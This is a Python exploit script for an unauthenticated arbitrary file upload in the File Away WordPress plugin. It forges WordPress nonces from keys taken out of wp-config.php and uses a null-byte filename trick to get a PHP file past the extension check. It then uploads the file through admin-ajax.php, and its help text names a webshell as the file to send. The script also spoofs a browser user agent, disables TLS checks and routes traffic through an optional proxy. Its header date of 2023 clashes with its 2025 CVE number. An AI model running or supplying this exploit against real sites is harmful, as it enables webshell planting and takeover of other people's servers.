#!/usr/bin/env python3 # ============================================================================= # Author: @whattheslime # CVE: CVE-2025-2512 # Date: March 2023 # Product: File Away (WordPress plugin) # Title: Unautenticated arbitrary file upload # Vendor URL: https://wordpress.org/plugins/file-away/ # Version: <= 3.9.9.0.1 # ----------------------------------------------------------------------------- # Install: python3 -m venv venv && venv/bin/pip install httpx # Usage: venv/bin/python3 file_upload.py -h # ============================================================================= from argparse import ArgumentParser, Namespace from pathlib import Path from base64 import b64encode from hashlib import md5 from hmac import HMAC from httpx import Client from math import ceil, floor from pathlib import Path from secrets import token_hex from re import findall from time import time from urllib.parse import urljoin AGENT = ( "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:120.0) Gecko/20100101 " "Firefox/120.0" ) ERRO = "\033[1;31m[!]\033[0m" INFO = "\033[1;34m[-]\033[0m" SUCC = "\033[1;32m[+]\033[0m" DAY_IN_SECONDS = 86400 def wp_nonce_tick(action: int = -1) -> int: """Returns the time-dependent variable for nonce creation.""" return ceil(floor(time()) / (DAY_IN_SECONDS / 2)) def wp_hash(data: str) -> str: """Gets hash of given string.""" salt = (nonce_key + nonce_salt).encode() return HMAC(salt, data.encode(), digestmod=md5).hexdigest() def wp_create_nonce(action: int = -1, user_id: int = 0, token: str = "") -> str: """Creates a cryptographic token tied to a specific action, user, user session, and window of time.""" i = str(wp_nonce_tick(action)) return wp_hash("|".join((i, action, str(user_id), token)))[-12:][:10] def upload(http: Client, target: str, webroot: Path, filepath: Path): ajax_url = urljoin(target, f"wp-admin/admin-ajax.php?t={token_hex(5)}") directory = "wp-content" file_size = filepath.stat().st_size file_name = filepath.name.replace(".php", ".\\0php") remote_file_path = ( str(webroot / directory / file_name.replace("\\", "/")) .strip("/") .strip("\\") ) nonce = wp_create_nonce("fileaway-nonce") upload_nonce = wp_create_nonce("fileaway-fileup-nonce") location = remote_file_path.encode() loc_action = "fileaway-location-nonce-" + b64encode(location).decode() loc_nonce = wp_create_nonce(loc_action) print(INFO, f"nonce: {nonce}") print(INFO, f"upload_nonce: {upload_nonce}") print(INFO, f"loc_nonce: {loc_nonce}") data = { "action": "fileaway-manager", "act": "upload", "nonce": nonce, "upload_nonce": upload_nonce, "max_file_size": file_size, "loc_nonce": loc_nonce, "upload_path": directory, "extension": "jpeg", "new_name": file_name, } files = {"upload_file": ("test", open(filepath, "rb"))} response = http.post(ajax_url, data=data, files=files) if 'status":"success' in response.text: path = urljoin(target, directory + "/" + filepath.name) print(SUCC, f"File uploaded: {path}") else: print(ERRO, f"Error during upload: {response.json()['message']}") def parse_args() -> Namespace: parser = ArgumentParser() parser.add_argument( "-t", "--target", type=str, required=True, help="target URL (e.g. http://127.0.0.1)" ) parser.add_argument( "-c", "--config", type=Path, required=True, help="wp-config.php local file path" ) parser.add_argument( "-f", "--file", type=Path, required=True, help="file path to upload (e.g. webshell.php)" ) parser.add_argument( "-w", "--webroot", type=Path, default="/var/www/html", required=True, help="target webroot (default: /var/www/html)" ) parser.add_argument( "-x", "--proxy", type=str, help="Proxy URL (e.g. socks5h://127.0.0.1:2222)", ) return parser.parse_args() def main(): """Program entry point.""" args = parse_args() target = args.target webroot = args.webroot wp_config = args.config file_path = args.file proxy = args.proxy try: global nonce_key global nonce_salt nonce_key, nonce_salt = findall( r"NONCE_(?:KEY|SALT)', +'([^']+)", wp_config.read_text() ) with Client( follow_redirects=False, headers={"User-Agent": AGENT}, proxy=proxy, verify=False, ) as http: upload(http, target, webroot, file_path) except Exception as error: print(ERRO, error) if __name__ == "__main__": main()